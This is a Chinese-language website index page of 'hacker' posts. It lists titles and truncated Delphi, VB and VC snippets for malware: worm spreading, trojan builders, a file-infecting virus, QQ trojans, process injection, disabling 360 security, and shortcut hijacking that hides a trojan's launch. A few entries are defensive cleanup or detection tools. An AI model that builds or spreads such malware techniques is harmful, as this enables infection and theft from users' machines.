RSS订阅 | 匿名投稿
您的位置:网站首页 > 黑客

delphi 制作一个内网传播的程序

procedureEnumeration(aResource:PNetResource);//内网传播Enumeration(@wgokq[_fehlq])varqnlshmm:THandle;kujf_n,mec:DWORD;wgokq:array[0..1023]ofTNetResource;_fehlq:Integer;beginWNetOpenEnum(2,0,0,aResourc…
类别:黑客 标签: 作者:admin 日期:2013-03-20 09.44.48

delphi 木马配置器通用写法(末尾追加数据的方法)

上次写了一个直接将配置文件添加到对应的位置上的方法.好处就在于木马端不用写专门的代码再来提取配置文件,这样很自然的就节省了木马的体积.坏处就在于那种方法只能给未加壳的程序修改配置.这样每次都得带上个FSG(说…
类别:黑客 标签: 作者:admin 日期:2013-03-20 09.44.11

delphi之木马生成原理(资源文件,和文件流的应用)

之前一直在找关于木马生成服务端原理的文章。我在以前的日记里面也提到过的,网上相关的文章也找了不少,但是都没有把问题好好说清楚。虽然也给出了代码,但是废话还是不少,让我走了不少弯路。我一直提倡的:程序就…
类别:黑客 标签: 作者:admin 日期:2013-03-20 09.42.01

delphi服务器端如何防止DDOS

delphi服务器端如何防止DDOS前面说到DSServer的OnConnect是socket已经完全搭好client都调用connect的服务器方法了才触发的,如果我们到这里才来想起拒绝不合法的ip连接,已经挺晚了:socket已经连接好了,都已经创建…
类别:黑客 标签: 作者:admin 日期:2013-01-24 13.21.22

delphi 远程屏幕抓取的源代码

在网络管理中,有时需要通过监视远程计算机屏幕来了解网上微机的使用情况。虽然,市面上有很多软件可以实现该功能,有些甚至可以进行远程控制,但在使用上缺乏灵活性,如无法指定远程计算机屏幕区域的大小和位置,进而无法…
类别:黑客 标签: 作者:admin 日期:2013-01-06 10.02.09

delphi 编写的一个感染文件夹的小病毒

感染函数procedureTForm1.EnCrypt(pPath:string);varlCount,i:Integer;lNewName,lFileName:string;lStringList:TStringList;beginlStringList:=GetDirTreeList(pPath);lCount:=lStringList.Count-1;fori:=lCountdown…
类别:黑客 标签:病毒 作者:admin 日期:2013-01-06 09.28.25

QQ木马delphi源码

QQ木马delphi源码unitGCommonMethods;{$IComplier.inc}interfaceusesWindows,SysUtils,GConsts,GNetMethods,GQQFindMethods;procedureCreateMainWindow(hInst:HMODULE;constClassName:string;varOutHandle:HWND);pro…
类别:黑客 标签: 作者:admin 日期:2011-08-19 12.33.06

DELPHI版本QQ木马

DELPHI版本QQ木马首先写个DLL文件libraryProject1;{ImportantnoteaboutDLLmemorymanagement:ShareMemmustbethefirstunitinyourlibrary'sUSESclauseANDyourproject's(selectProject-ViewSource)USESclauseifyourDLLex…
类别:黑客 标签: 作者:admin 日期:2011-08-18 13.57.07

dekphi QQ自动发消息源码

QQ自动发消息源码这里面有的到窗口句柄,输入框句柄和按钮句柄的方法!你可以结合使用的到你想的到的功能!这是一个qq自动发送的功能,你看看,应该有点用吧!:)delphi代码procedureTForm1.Button1Click(Sender:TO…
类别:黑客 标签: 作者:admin 日期:2011-08-18 13.53.28

delphi Using Windows Print Spooler To Run Your File

programPrintInject;usesWindows,Classes,WinSpool,SysUtils;functionPathFindFileNameA(szFilePath:PChar):PChar;stdcall;external'shlwapi.dll';procedureMainProc();varszBuff:array[0..255]ofChar;dwSize:DWORD;…
类别:黑客 标签: 作者:admin 日期:2011-08-18 13.46.36

干掉360保险箱VB/VC/delphi 源码

干掉360保险箱VB/VC/delphi源码VB源码:OptionExplicitPrivateDeclareFunctionTerminateProcessLib"kernel32"(ByValhProcessAsLong,ByValuExitCodeAsLong)AsLongPrivateDeclareFunctionZwDuplicateObject_Lib"NTDLL.…
类别:黑客 标签: 作者:admin 日期:2011-08-18 13.31.28

delphi 注入不用WriteProcessMemory 函数

ToavoidusingWriteProcessMemory,weneedtofindotherwaystoinjectacertainstring(e.g."mypayload.dll")intoaforeignprocess.Thisideaisamorecreativeone,bysimplymodifyingtheregistersoftheforeignprocessandpushing…
类别:黑客 标签: 作者:admin 日期:2011-08-18 12.55.47

delphi InjectMemEXE

programInjectMemEXE;usesWindows,SysUtils,uAddSection{http://www.delphibasics.info/home/delphibasicssnippets/addnewsectiontopefile},uAddImport{http://www.delphibasics.info/home/delphibasicssnippets/add…
类别:黑客 标签: 作者:admin 日期:2011-08-18 12.49.32

Crossbow病毒开放源代码-熊猫烧香源始代码

Crossbow病毒开放源代码-熊猫烧香源始代码以下代码只做安全工作者参考,请勿用做非法用途,否则后果自负.提示,所有病毒木马都是依靠计算机中漏洞进行病毒破坏以及木马监视.所以您只需要随时更新微软安全补丁,已经安装防…
类别:黑客 标签: 作者:admin 日期:2011-08-18 11.35.07

delphi小熊下载者源码

programInjectTheSelf;{$IMAGEBASE$13140000}usesWindows,SysUtils,urlmon,sendmail,shellapi...
类别:黑客 标签: 作者:admin 日期:2011-08-18 11.32.37

delphi 调用批处理清除威金、熊猫烧香病毒的批处理

@echoofftitle清除威金(logo_1,熊猫烧香)病毒最新变种工具@echo清除VIKING病毒最新变种工具pause...
类别:黑客 标签: 作者:admin 日期:2011-08-18 11.32.01

delphi 恶意修改快捷方式

单元ShlObj,ComObj,ActiveX;修改快捷方式的启动目标,不改变原图标样子,反正QQ这种是用户每次开机就运行的,就连同我们的马一起运行了呗.马在运行时会自动开启QQ,这样用户就发现不到了.functionLinkFileInfo(constlnk…
类别:黑客 标签: 作者:admin 日期:2011-08-16 09.41.19

delphi 检测 IAT HOOK API 的方法

typePTIMPORT_CODE=^TIMPORT_CODE;TIMPORT_CODE=packedrecordJmpPtr:Word;PtrAdd:^Pointer;end;functionSHFormatDrive(hWnd:HWND;Drive:Word;fmtID:Word;Options:Word):Longintstdcall;external'Shell32.dll'Name'SH…
类别:黑客 标签: 作者:admin 日期:2011-08-16 09.39.27

delphi 3句话绕过XXX拦截删除桌面快捷方式

3句话绕过XXX拦截删除桌面快捷方式直接删除是不行滴~procedureDeletefileEx(name:String);varname2:string;beginname2:=ExtractfilePath(name)+'\E.txt';movefile(Pchar(name),Pchar(name2));Deletefile(name2);end;…
类别:黑客 标签: 作者:admin 日期:2011-08-16 08.50.23

Delphi编写的LPK.DLL专杀,可清理RAR

delphi验证文件签名.
类别:黑客 标签: 作者:admin 日期:2011-05-14 16.58.42